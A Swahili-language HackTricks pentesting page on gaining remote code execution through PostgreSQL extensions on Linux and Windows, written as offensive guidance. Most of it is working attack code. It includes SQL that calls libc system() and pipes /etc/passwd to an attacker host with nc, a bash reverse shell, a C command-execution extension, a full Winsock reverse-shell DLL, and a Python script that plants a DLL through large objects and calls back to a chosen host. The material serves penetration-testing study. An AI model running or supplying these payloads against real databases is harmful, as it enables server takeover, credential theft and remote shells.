hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
2024-02-11 02:13:58 +00:00

345 lines
15 KiB
Markdown

# RCE na Vipengele vya PostgreSQL
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Vipengele vya PostgreSQL
PostgreSQL imeendelezwa na uwezo wa kuongeza vipengele kama sehemu muhimu, kuruhusu kuunganisha vipengele kama kama vile kazi, waendeshaji, au aina za ziada kama kama vile zilijengwa kwenye programu.
Kuanzia toleo la 8.1 na kuendelea, kuna mahitaji maalum yanayowekwa kwa maktaba za vipengele: lazima zikusanywe na kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, ikisaidia matumizi ya vipengele vinavyolingana na pengine salama.
Pia, kumbuka kwamba **iwapo hujui jinsi ya** [**kupakia faili kwa kudhuru PostgreSQL unapaswa kusoma chapisho hili.**](big-binary-files-upload-postgresql.md)
### RCE katika Linux
**Kwa maelezo zaidi angalia: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Utekelezaji wa amri za mfumo kutoka kwa PostgreSQL toleo la 8.1 na toleo la awali ni mchakato ambao umeelezwa wazi na ni rahisi. Inawezekana kutumia hii: [Moduli ya Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>
<summary>Andika faili ya binary kutoka kwa base64</summary>
Ili kuandika faili ya binary katika postgres unaweza kuhitaji kutumia base64, hii itakuwa na manufaa kwa jambo hilo:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
```
</details>
Hata hivyo, wakati jaribio lilifanywa kwenye toleo kubwa **kosa lifuatalo lilionyeshwa**:
```c
ERROR: incompatible library /lib/x86_64-linux-gnu/libc.so.6: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Kosa hili limeelezewa katika [hati ya PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Ili kuhakikisha kuwa faili ya kitu iliyopakuliwa kwa kudumu haijapakiwa kwenye seva isiyolingana, PostgreSQL inachunguza kuwa faili ina "block ya uchawi" na maudhui sahihi. Hii inaruhusu seva kugundua tofauti wazi, kama vile nambari iliyokompiliwa kwa toleo kuu tofauti ya PostgreSQL. Block ya uchawi inahitajika kuanzia PostgreSQL 8.2. Ili kuongeza block ya uchawi, andika hii kwenye moja (na moja tu) ya faili za chanzo za moduli, baada ya kuingiza kichwa cha fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Tangu toleo la PostgreSQL 8.2, mchakato wa mtu anayeshambulia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba ya desturi. Maktaba hii ya desturi lazima ichapishwe kulingana na toleo kuu linalolingana la PostgreSQL na lazima iwe na "block ya uchawi" maalum. Hatua hii inaongeza sana ugumu wa kushambulia mifumo ya PostgreSQL, kwani inahitaji ufahamu wa kina wa muundo na utangamano wa toleo la mfumo.
#### Chapisha maktaba
Pata toleo la PostgreSQL kwa kutumia:
```sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
```
Kwa ajili ya utangamano, ni muhimu kwamba toleo kuu zinafanana. Kwa hiyo, kuchapisha maktaba na toleo lolote ndani ya mfululizo wa 9.6.x itahakikisha kuunganishwa kwa mafanikio.
Kuweka toleo hilo katika mfumo wako:
```bash
apt install postgresql postgresql-server-dev-9.6
```
Na kisha kusanya maktaba:
```c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
```
Kisha pakia maktaba iliyokusanywa na tekeleza amri zifuatazo:
```bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Unaweza kupata **maktaba iliyopangwa mapema** kwa toleo kadhaa tofauti za PostgreSQL na hata unaweza **kuautomatisha mchakato** huu (ikiwa una ufikiaji wa PostgreSQL) na:
{% embed url="https://github.com/Dionach/pgexec" %}
### RCE katika Windows
DLL ifuatayo inachukua kama kuingiza **jina la binary** na **idadi** ya **mara** unayotaka kuitekeleza na kuitekeleza:
```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
```
Unaweza kupata DLL iliyokompiliwa katika zip hii:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
Unaweza kuonyesha kwa DLL hii **ambayo faili ya binary itekelezwe** na idadi ya mara itekelezwe, katika mfano huu itatekeleza `calc.exe` mara 2:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
Katika [**hapa**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) unaweza kupata reverse-shell ifuatayo:
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
```
Tazama jinsi katika kesi hii **msimbo mbaya uko ndani ya kazi ya DllMain**. Hii inamaanisha kuwa katika kesi hii sio lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutatekeleza kabisa kifaa cha kuingia nyuma:
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
### RCE katika toleo jipya la Prostgres
Katika **toleo jipya** la PostgreSQL, vizuizi vimeanzishwa ambapo `superuser` amekatazwa **kupakia** faili za maktaba zinazoshirikishwa isipokuwa kutoka kwenye saraka maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Saraka hizi zime **lindwa** dhidi ya shughuli za kuandika kwa kutumia akaunti za NETWORK\_SERVICE au postgres.
Licha ya vizuizi hivi, ni **wawezekano** kwa mtumiaji aliye na ruhusa ya `superuser` kwenye hifadhidata kuandika faili za binary kwenye mfumo wa faili kwa kutumia "vitu vikubwa" (large objects). Uwezo huu unajumuisha kuandika ndani ya saraka ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa shughuli za hifadhidata kama vile kusasisha au kuunda meza.
Tatizo kubwa linatokea kutokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kuvuka saraka** na kuingia kwenye saraka ya data. Kwa hivyo, mtu aliye na ruhusa anaweza **kutumia kuvuka hii** kuandika faili ya maktaba inayoshirikishwa kwenye saraka ya data na kisha **kuipakia**. Shambulio hili linawezesha mtu kutekeleza nambari yoyote, kufikia utekelezaji wa nambari ya asili kwenye mfumo.
#### Mchakato wa Shambulio
Kwanza kabisa, unahitaji **kutumia vitu vikubwa kuweka dll**. Unaweza kuona jinsi ya kufanya hivyo hapa:
{% content-ref url="big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
{% endcontent-ref %}
Baada ya kupakia kifaa cha nyongeza (kikiwa na jina la poc.dll kwa mfano huu) kwenye saraka ya data, unaweza kukiweka kwa kutumia:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Note kwamba hauhitaji kuongeza kifungu cha `.dll` kwa sababu kazi ya kuunda itaongeza yenyewe._
Kwa habari zaidi **soma** [**uchapishaji halisi hapa**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Katika uchapishaji huo **hii ilikuwa** [**nambari iliyotumiwa kuunda kifaa cha postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_ili kujifunza jinsi ya kutekeleza kifaa cha postgres soma toleo lolote la awali_).\
Katika ukurasa huo huo **exploit ya kiotomatiki** ya mbinu hii ilipewa:
```python
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
```
## Marejeo
* [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye repo ya [hacktricks](https://github.com/carlospolop/hacktricks) na [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>